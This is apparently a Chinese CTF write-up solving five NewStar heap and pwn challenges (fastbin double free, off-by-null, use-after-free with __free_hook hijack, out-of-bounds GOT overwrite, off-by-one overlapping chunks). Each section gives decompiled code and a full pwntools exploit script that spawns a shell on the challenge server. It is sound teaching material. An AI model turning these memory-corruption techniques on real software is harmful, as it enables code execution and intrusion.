新生赛复现,主要是为了复现堆题。

0x00 前言(patchelf的正确打开方式)

正好最近在学习堆入门,想起来去年还有newstar的题没复现完,所以干脆拿来当堆入门的练手了。但是在做完准备写wp用动调分析的时候遇到了一个问题。我的主力Linux是Ubuntu22,glibc版本是2.35,我学习堆也是从2.35开始往低版本对比学习,如果题目环境glibc不一样(一般都不一样,2.35版本太高了),则需要用patchelf来修改动态链接库以便gdb分析,但是按照网上的流程来patch怎么都不能成功。

1
$ patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 --set-rpath ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ Double

假如我想用以上命令patch Double这个程序,运行这个程序的时候就会变成这样:

patchelf不成功

然后我问了xswlhhh师傅,只要将两个参数分开执行就行,也就是

1
2
$ patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 Double
$ patchelf --set-rpath ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 Double

这样就能成功patch了。

--set-interpreter后面的参数是对应libc的解释器ld文件。注意是ld文件不是libc.so.6!!!

--set-rpath后面的参数是对应libc的目录。然后最后是你要patch的程序。

0x01 Double

分析

这是一道经典菜单堆题,题目名字已经明显提示了要用double free,并且给出的libc版本是2.23,没有tcachebin,0x28大小的chunk释放完直接就会进fastbin。题目只有add和del两个可以操作chunk的函数,在add的同时可以向chunk写入内容。

现在题目有个后门,只要在0x604070出写入0x666就可以getshell,也就是要满足任意地址写。观察程序发现del函数里free完chunk之后没有置空指针,存在UAF漏洞,但是只能在add的时候编辑chunk内容。所以我们利用UAF来实现doublefree,然后伪造劫持fd,修改fastbin链表,达到申请到目标地址的目的。需要注意的是,fastbin链表中存的地址是chunk地址,也就是说,我们要写入fd的地址应该是target-0x10。

下面来思考利用方式。我们申请两个chunk,再释放掉这两个chunk之后,fastbin长这样:

Double_释放后fastbin

那么我们在申请一个chunk就会被分配到chunk0,也就是0x2442000处的chunk;申请第二个chunk则会申请到chunk1,第三个是chunk0。链表到此为止就结束了,因为如果我们在申请时向chunk写入了一些内容但并非有效指针,那他就不会再继续从fastbin里取出chunk。但是如果我们向chunk0中写入target-0x10的地址,因为我们释放了两次chunk0,这个fd对于链表中被取出的chunk0无效,但是对于未被取出的chunk0有效。所以申请第一个chunk后写入目标地址,然后申请两个垃圾chunk,再申请一个chunk就是我们想要的地址了,此时写入0x666就可以完成目标。

Double_劫持fd后的链表

(这个是另一个gdb了,所以地址不太一样,但是000结尾的是chunk0,030结尾的是chunk1)

EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
r = remote("node5.buuoj.cn", 26771)
# r = process("./Double")
context.log_level = 'debug'


def launch_gdb():
context.terminal == ['xdce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(r)[0])


def add(idx, content):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b"Input idx", idx)
r.sendafter(b"Input content", content)


def delete(idx):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b"Input idx", idx)


def check():
r.sendlineafter(b'>', b'3')


target = 0x602070

add(b'0', b'aaaaaaaa')
add(b'1', b'bbbbbbbb')

delete(b'0')
delete(b'1')
delete(b'0')

add(b'2', p64(target-0x10))
# launch_gdb()
add(b'3', b'cccccccc')
add(b'4', b'dddddddd')
add(b'5', p64(0x666))

check()
r.interactive()

0x02 game

题目

都是mihoyo害了出题人(不是
这道题很有意思,主要考察的是off by null的知识点,藏得蛮隐蔽的,可能是我对这种漏洞还不够熟悉。先来看看主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+0h] [rbp-20h] BYREF
int v4; // [rsp+4h] [rbp-1Ch] BYREF
char v5[8]; // [rsp+8h] [rbp-18h] BYREF
int v6; // [rsp+10h] [rbp-10h] BYREF
int v7; // [rsp+14h] [rbp-Ch]
int v8; // [rsp+18h] [rbp-8h]
int v9; // [rsp+1Ch] [rbp-4h]

init();
v7 = 0;
choice(&v6);
puts(&byte_2060); // 现在你可以开始探险了
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(a1); // 扣1送原石
puts(a2); // 扣2送kfc联名套餐
__isoc99_scanf("%d", &v4);
if ( v4 != 1 )
break;
if ( v6 == 1 ) // 如果选了三月七则没得送原石
{
puts("no way!");
exit(0);
}
if ( !v6 )
{
v9 = 1;
v7 += 0x10000;
puts(&byte_20A8); // 恭喜你完成一次委托
if ( v7 > 0x3FFFF )
printf(&format, &system); // 打印出system的libc地址
}
}
if ( v4 != 2 )
break;
if ( !v6 )
{
puts("no way!"); // 选派蒙不能选KFC套餐
exit(0);
}
if ( v6 == 1 )
{
v8 = 1;
puts(&byte_2108); // 有什么想对肯德基爷爷说的吗?
myread(v5, 8LL); // 把\n换成了\x00
}
}
if ( v4 != 3 )
break;
if ( v9 != 1 || v8 != 1 ) // 1,2两个选项至少要分别执行一遍,利用off by null来实现
exit(0);
puts("you are good mihoyo player!");
__isoc99_scanf("%hd", &v3); // %hd是短整型
((void (__fastcall *)(char *))((char *)&puts - v3 - v7))(v5);
}
exit(0);
}

choice函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_DWORD *__fastcall choice(_DWORD *a1)
{
_DWORD *result; // rax
int v2; // [rsp+1Ch] [rbp-4h] BYREF

puts(&s); // 请选择你的伙伴
__isoc99_scanf("%d", &v2);
if ( v2 )
{
if ( v2 != 1 )
{
puts("no way!"); // 只能选1或0
exit(0);
}
puts(&byte_203D); // 三月七
result = a1;
*a1 = 1;
}
else
{
puts(&byte_2021); // 派蒙
result = a1;
*a1 = 0;
}
return result;
}

myread函数,也是这个程序的漏洞所在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall myread(unsigned __int8 *a1, int a2)
{
int i; // [rsp+1Ch] [rbp-4h]

if ( !a2 )
return 0LL;
for ( i = 0; i < a2; ++i )
{
if ( (unsigned int)read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == '\n' )
{
*a1 = 0;
return *a1;
}
*++a1 = 0; // off by null
}
return (__int64)a1;
}
漏洞利用

myread自定义了读取函数,对输入的字符串做了截断处理,但是强行增加一个截断符在字符串后面就导致了一个null字节的溢出。主函数中储存读取的字符串的数组是v5,长度是8,在栈上紧接着就是变量v6,用来储存角色的选择。所以也就是说这个off by null可以使v6变成0。
我们再来看主函数,首先选择角色,然后选择任务,但是对应角色只能做对应任务。其中选择派蒙,做满4次任务1就可以得到system地址,而选择三月七做任务2则可以触发myread函数的执行。在任务处如果选择3,如果1和2任务都做过,那么就可以执行&puts - v3 - v7处的函数,并且以v5为参数。这里的puts地址指的是libc的地址,很容易就能想到构造system(/bin/sh)来getshell。但是角色只能选一次,想要两个任务都做到触发这个函数指针的调用,只能利用刚刚发现的off by null的漏洞。
首先角色先选1,然后做任务2,传入/bin/sh给v5,一定要保证输入字节够8个,才能溢出一个null给v6。这时候就可以做任务1了。如果题目附件没给libc文件,则需要做四次任务1来获得靶机的system地址以找到对应的libc版本。但是这里题目附件给了libc文件,所以直接通过symbols方法就能获取libc中puts和system的偏移,不需要真的执行4次(当然除非偏移很大真的需要或者你想要这么做除外。)这里需要注意一下一个地方,可能是我太久没做pwn题了,一开始思考偏移的时候我竟然想着要用extern段的相对位置,也就是下图0x4090和0x4058的差值。但是其实程序在运行时链接动态库后,这里会指向got表,也就是libc的地址,所以要找偏移要找libc中的偏移。

game_extern段

通过以下语句可以得到地址偏移是0x32190

1
2
libc = ELF("./libc-2.31.so")
log.success(hex(libc.symbols['puts']-libc.symbols['system']))
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
# r = process("./game")
r = remote("node5.buuoj.cn", 28734)
libc = ELF("./libc-2.31.so")
context.log_level = 'debug'
log.success(hex(libc.symbols['puts']-libc.symbols['system'])) # 0x32190


def sendla(content):
r.recv()
r.sendline(content.encode())


sendla("1")
sendla('2')
sendla('/bin/sh\x00')

sendla("1")
sendla('1')
sendla('1')

sendla('3')
sendla(str(0x2190))

r.interactive()

0x03 ezheap

这题是看着官方WP复现的,主要漏洞是UAF,还学了一些新的知识。这题也是一道经典的菜单堆题。一共可以申请16个note,每个note由一个chunk来维护note信息,我们称为data,和一个chunk来储存note内容,我们把他叫做content。

结构体的恢复

根据add函数的代码不难推测data用来存放一个结构体,前八个字节用来存size,最后八个字节用来存content的地址,中间则为0。我们可以在IDA中恢复这个结构体:

先在structure页面创建对应结构体
ezheap结构体
然后将notebook的数据类型改为struct Data*
ezheap更改结构体类型
这样代码看起来会顺眼一点。

UAF漏洞的利用

程序还会将一个note的size存在notesize数组里,显然程序里会有一个关于size的简单的检查。我们再看delete函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 delete()
{
signed int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
idx = read_idx();
if ( (unsigned int)idx < 0x10 && *(&notebook + idx) )// 没清空结构体
free(*(&notebook + idx)); // UAF漏洞,而且没释放写过的content的地址,只释放了notebook数据的chunk
else
puts("Invalid index");
return __readfsqword(0x28u) ^ v2;
}

UAF漏洞给了我们机会可以申请到某个note的data处,这样可以对data进行打印或者修改,达到读写的目的。因为delete的时候程序只释放了data而没有释放content,所以我们只要先释放两个note,然后再申请一个和data一样大小的note,这样新的content就是第一个释放的data。

libc地址的泄露

题目给了libc文件,很自然可以想到要泄露libc地址然后劫持某个函数为system就好了。官方WP给出的泄露libc地址的方法是,申请一个mmap大小范围的chunk,这个chunk的地址和libc靠得很近,打印这个note的data通过计算就可以得到libc基址。然后去网上学习了一下关于mmap申请内存的知识,得知malloc时如果申请的内存大于128kb就会交给mmap来分配,而他管理的内存是一个独立的内存页,刚好在libc加载地址的上面(低地址处)。自己写程序试验了一下,确实mmap分配的地址和0x7fxxxxxxxx很近:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
char *a = (char *)malloc(0x40000);
printf("Mmap allocated at: %p\n", a);
char *b = (char *)malloc(0x40);
printf("Brk allocated at: %p\n", b);
free(a);
free(b);
return 0;
}

运行结果:

1
2
Mmap allocated at: 0x7fc84bc85010
Brk allocated at: 0x555acfc816b0

WP给出接收libc基址的语句是:

1
libc_base=u64(recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10+0x41000

这里的-0x10是从mem到chunk地址的计算,+0x40000显然是刚刚申请的mmap内存大小,但是这个0x1000是哪来的呢?花了半个小时去翻了glibc2.31的源码(实际上我并不知道是哪个版本的glibc,但其实根据给出的libc文件中函数偏移应该是可以确定的),最后在sysmalloc函数里找到了相关的语句:

1
2
3
4
5
6
7
8
	  /*
Round to a multiple of page size.
If MORECORE is not contiguous, this ensures that we only call it
with whole-page arguments. And if MORECORE is contiguous and
this is not first time through, this preserves page-alignment of
previous calls. Otherwise, we correct to page-align below.
*/
size = ALIGN_UP (size, pagesize);

mmap申请的chunk有一个特殊的对齐要求,他必须是pagesize,也就是0x1000的倍数。比方说我申请了一个0x40000大小的chunk,加上存放chunk数据的0x10,就有0x40010大小,要对齐,最终就会分配出0x41000大小的chunk。

劫持__free_hook & getshell

回到题目,泄露了libc后,就要考虑system的执行了。这里的libc版本是2.31(通过偏移可以查),所以可以通过劫持__free_hook来getshell。

__free_hook对我来说也是个新东西,因为我开始学习的2.35版本glibc已经取消了hook函数。hook钩子是一个弱类型的函数指针,它指向free(), malloc()等函数。比如__free_hook,若它不为空,则执行它所指向的函数。所以我们可以通过劫持hook来改变程序的执行流。

题目里data处存放着content的地址指向content,那么我们可以构造__free_hook指向system的libc地址。edit函数会对data的size字段做检查,所以修改指针的时候要注意保留size不变,这样才能成功修改content为system地址,最后再修改一个data为/bin/sh然后delete掉这个chunk就getshell了。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
libc = ELF("libc.so.6")
# 偏移测试libc版本
log.success(hex(libc.symbols['system']))
log.success(hex(libc.symbols['__free_hook']))
# 偏移测试libc版本
r = remote("node5.buuoj.cn", 28306)
context.log_level = 'debug'


def add(idx, size, content='a'):
r.recvuntil(b'>>')
r.sendline(b'1')
r.recvuntil(b'enter idx(0~15): ')
r.sendline(str(idx).encode())
r.recvuntil(b'enter size: ')
r.sendline(str(size).encode())
r.recvuntil(b'write the note: ')
r.sendline(content.encode())


def delete(idx):
r.recvuntil(b'>>')
r.sendline(b'2')
r.recvuntil(b'enter idx(0~15): ')
r.sendline(str(idx).encode())


def edit(idx, content):
r.recvuntil(b'>>')
r.sendline(b'4')
r.recvuntil(b'enter idx(0~15): ')
r.sendline(str(idx).encode())
r.recvuntil(b'enter content: ')
r.sendline(content)


def show(idx):
r.recvuntil(b'>>')
r.sendline(b'3')
r.recvuntil(b'enter idx(0~15): ')
r.sendline(str(idx).encode())


add(0, 0x20)
add(1, 0x50000)
add(2, 0x20)
add(3, 0x20)

delete(1)
delete(2)

add(4, 0x20, 'a'*24)
show(4)
r.recvuntil(b'a'*24)
# print(r.recv())
libcbase = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x10+0x51000
log.success(hex(libcbase))

free_hook = libc.symbols['__free_hook']+libcbase
system = libc.symbols['system']+libcbase
edit(4, p64(0x50000)+p64(0)+p64(0)+p64(free_hook))
edit(1, p64(system))
edit(4, b'/bin/sh\x00')
delete(1)

r.interactive()

0x04 message_board

题目

附件给出了libc2.31的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+24h] [rbp-Ch] BYREF
int v4; // [rsp+28h] [rbp-8h] BYREF
int i; // [rsp+2Ch] [rbp-4h]

init(argc, argv, envp);
board();
for ( i = 0; i <= 1; ++i )
{
puts("You can modify your suggestions");
__isoc99_scanf("%d", &v4);
puts("input new suggestion");
__isoc99_scanf("%d", &v3);
a[v4] = v3;
}
exit(0);
}

board函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int (**board())(const char *s)
{
int (**result)(const char *); // rax
int v1; // [rsp+4h] [rbp-9Ch] BYREF
__int64 v2[18]; // [rsp+8h] [rbp-98h] BYREF
int i; // [rsp+9Ch] [rbp-4h]

puts("Do you have any suggestions for us");
__isoc99_scanf("%d", &v1);
if ( v1 > 15 )
{
puts("no!");
exit(0);
}
for ( i = 0; i < v1; ++i )
{
__isoc99_scanf("%ld", &v2[i + 1]);
printf("Your suggestion is %ld\n", v2[i + 1]);
}
puts("Now please enter the verification code");
__isoc99_scanf("%ld", v2);
result = &puts;
if ( (int (**)(const char *))v2[0] != &puts )
exit(0);
return result;
}
分析

主函数没有return,board函数的return也没法利用,所以肯定不是ROP。看到主函数里有一个自定义数组索引的输入,很容易想到数组越界。一看a数组刚好在bss段,所以可以利用数组越界修改exit的got表为one_gadget来getshell,偏移为-28。这里需要注意一个问题是,a数组储存的数据类型是dd(DWORD),也就是四个字节,所以写libc地址的时候需要分两次写到-28和-27偏移。不用system的原因是一个是没必要,第二也没地方写binsh。

在数组越界之前,在board函数里需要绕过一个“认证”,它要求我们输入puts的libc地址,这也就要求我们泄露libc地址。这里有个知识点,scanf无返回特性,利用这个特性我们可以结合printf打印出留存在栈上的libc地址,从而通过检查,进行数组越界。下面我们讲讲这个特性。

scanf无返回特性

这个特性比较有意思。众所周知,scanf只会接收格式化字符串指定的数据,那不符合的那些输入怎么办?答案是拒之门外或者扔掉。举个例子,如果他原本要接收%d的数据,结果你输入了123abc,那它会只接收123,而abc还存在stdin中;如果输入了超出了int范围的数字就会高位截断,也就是我们常说的整数溢出;如果直接输入字母,那么他不接收任何东西,如果原本变量上已经初始化了一个值,那么这个值依然不会变,但是如果接下来有多个scanf,程序会直接全部跳过;如果输入的是单独一个‘+’或‘-’,因为这两个字符对于int来说是合法的,但是又不存在数字,所以scanf选择接收,但是不会改变变量的值。综上所述,我们只要在scanf输入加号减号就可以跳过一次输入,并且不影响下面的输入。关于scanf其他特性,可以去看C0Lin师傅的总结:以PWN视角看待C函数——scanf

我们看回到这道题,我们要尝试打印libc地址,栈上一般都会有libc地址留存,但是如果我们输入东西肯定会覆盖掉原本的内容,所以就需要用加减号绕过。我们先来看看原本board函数栈上的布局:

message_board栈布局

v2数组从rbp-0x98(0008处)开始,所以v2[2]就是一个libc地址,所以我们只要绕过2条建议的scanf就可以拿到libc地址了。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
r = remote("node5.buuoj.cn", 27152)
# r=process('./message_board')
libc = ELF('./libc-2.31.so')
context.log_level = 'debug'


r.recv()
r.sendline(b'2')
r.sendline(b'+')
r.recvuntil(b'is ')
log.success(hex(int(r.recvuntil(b'\n').decode())))

r.sendline(b'+')
r.recvuntil(b'is ')
libc_stderr = int(r.recvuntil(b'\n').decode())
log.success(hex(libc_stderr))
libcbase = libc_stderr-libc.symbols['_IO_2_1_stderr_']
log.success(hex(libcbase))
libc_puts = libcbase+libc.symbols['puts']
log.success(hex((libc_puts)))
r.recvuntil(b'code\n')
r.sendline(str(libc_puts).encode())

one = [0xe3afe, 0xe3b01, 0xe3b04]
libc_one = p64(one[1]+libcbase)
one_l = u32(libc_one[:4])
one_h = u32(libc_one[4:])
r.sendlineafter(b"You can modify your suggestions", str(-28).encode())
r.sendlineafter(b"input new suggestion", str(one_l).encode())
r.sendlineafter(b"You can modify your suggestions", str(-27).encode())
r.sendlineafter(b"input new suggestion", str(one_h).encode())

r.interactive()

0x05 god_of_change

思路

菜单堆题,有add,delete和show三个功能,其中add中写content的时候存在off by one的漏洞,自然而然想到劫持size字段造成overlapping。接触了这么多堆题,不难发现,提前规划堆布局很重要,所以先来考虑getshell的方式。最简单直接的getshell方式就是劫持__free_hook执行system函数,前提是知道libc基址。这道题开了PIE,所以很难通过got表来打印出libc地址,但是slot的数量上限是32个,每个slot大小最大是0x7F,所以可以考虑通过unsortedbin来泄露libc地址。所以这道题最重要的布局其实是对于泄露libc地址进行的。

利用Unsortedbin泄露libc地址

Unsortedbin由一个循环链表来维护,如下图所示:

unsortedbin循环链表(from xswlhhh)

而main_arena其实是一个libc地址,他在libc中与__malloc_hook函数有着固定的偏移,一般是0x10,如果有libc附件,我们就可以轻松得到libc基址。问题在于我们如何获取main_arena的地址。显然链表头(最后一个chunk)的fd和链表尾的bk(第一个chunk)都指向main_arena,如果我们能够free掉这两个chunk其中之一后依然能够打印chunk内容,我们就获得了libc地址。

动调分析

首先要先想办法把一个chunk放进unsortedbin中。程序中限制了申请的size不超过127,所以只能通过off by one来修改size。想要放进unsortedbin中至少要超过0x400的大小绕过tcachebin并且不能和top chunk相邻。由于每次只能改一个字节,所以需要通过chunk0修改chunk1,通过chunk1覆盖chunk2的头去改掉chunk2的size。这时候释放掉chunk2就能进unsortedbin。

god_of_change进入unsortedbin

如上图会发现我还申请了很多0x80大小的chunk,是因为我需要防止修改完size的chunk2和topchunk相邻。如果相邻,那么free之后会直接被topchunk合并。

god_of_change被topchunk合并

接下来申请一个0x40大小的chunk,它会从chunk2中被切割下来,剩下那部分依然存在unsortedbin中。此时unsortedbin中只有一个chunk,所以他的fd和bk都是main_arena的地址。

god_of_change打印libc时的堆布局

可以看到这个地址和main_arena的偏移是0x60,所以libc的基址是泄露的地址-0x70-__malloc_hook的偏移。

接下来要劫持__free_hook为system的地址,并且要提前写入/bin/sh。思路是修改一个chunk的fd为hook的地址,然后申请一个相同大小的chunk就能申请到hook,然后修改其为system地址,然后立刻释放掉写有/bin/sh的chunk就getshell了。

我们先申请多一个0x40(总之是chunk2要一样的大小)大小的chunk,然后释放掉(chunk3)放入tcachebin中,后面用来申请到hook位置。然后释放掉之前申请的chunk2和chunk1。此时chunk1的一部分和chunk2是重叠的,所以申请chunk1大小的chunk就可以修改chunk2的fd,顺便在user_data开始处写sh,别忘了不要覆盖了chunk2的size字段。然后申请两个chunk2大小的chunk,第二个chunk就在hook地址,修改掉其指针为system。然后释放掉chunk1就getshell了。

god_of_change最后堆布局

通过debug找到hook的地址确认劫持成功:

god_of_change被修改后的hook

但是毕竟是patch过libc的可能libc的加载地址还是不太一样(上面libc地址一片空白我就觉得很奇怪了),在本地打不通,所以直接在线环境去尝试一下,是能通的。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
r = process('./god_of_change')
# r = remote('node5.buuoj.cn', 25861)
libc = ELF('./libc-2.31.so')
context.log_level = 'debug'
context.arch = 'amd64'


def add(size, content=b'deadbeef'):
r.recvuntil(b'Choice: ')
r.sendline(b'1')
r.recvuntil(b'size: ')
r.sendline(str(size).encode())
r.recvuntil(b'content: ')
r.send(content)


def show(idx):
r.recvuntil(b'Choice: ')
r.sendline(b'2')
r.recvuntil(b'idx: ')
r.sendline(str(idx).encode())


def delete(idx):
r.recvuntil(b'Choice: ')
r.sendline(b'3')
r.recvuntil(b'idx: ')
r.sendline(str(idx).encode())


add(0x18)
add(0x18)
add(0x38)
for i in range(9):
add(0x78)

delete(0)
add(0x18, b'\x00' * 0x18 + p8(0x61))
delete(1)
add(0x58, p64(0xdeadbeef)*3+p64(0x441))
delete(2)
add(0x38)

show(3)
r.recvuntil(b'content: \n')
# print(r.recvuntil(b'\x7f'))
libc.address = u64(r.recvuntil(b'\x7f').ljust(8, b'\x00')) - \
0x70 - libc.sym['__malloc_hook']
log.success('libc_base: ' + hex(libc.address))

add(0x38)
delete(3)
delete(2)
delete(1)
add(0x58, flat(b'/bin/sh\x00', 0, 0, 0x41, libc.sym['__free_hook']))
add(0x38)
add(0x38, p64(libc.sym['system']))

# gdb.attach(r)
# pause()
delete(1)


r.interactive()
⬆︎TOP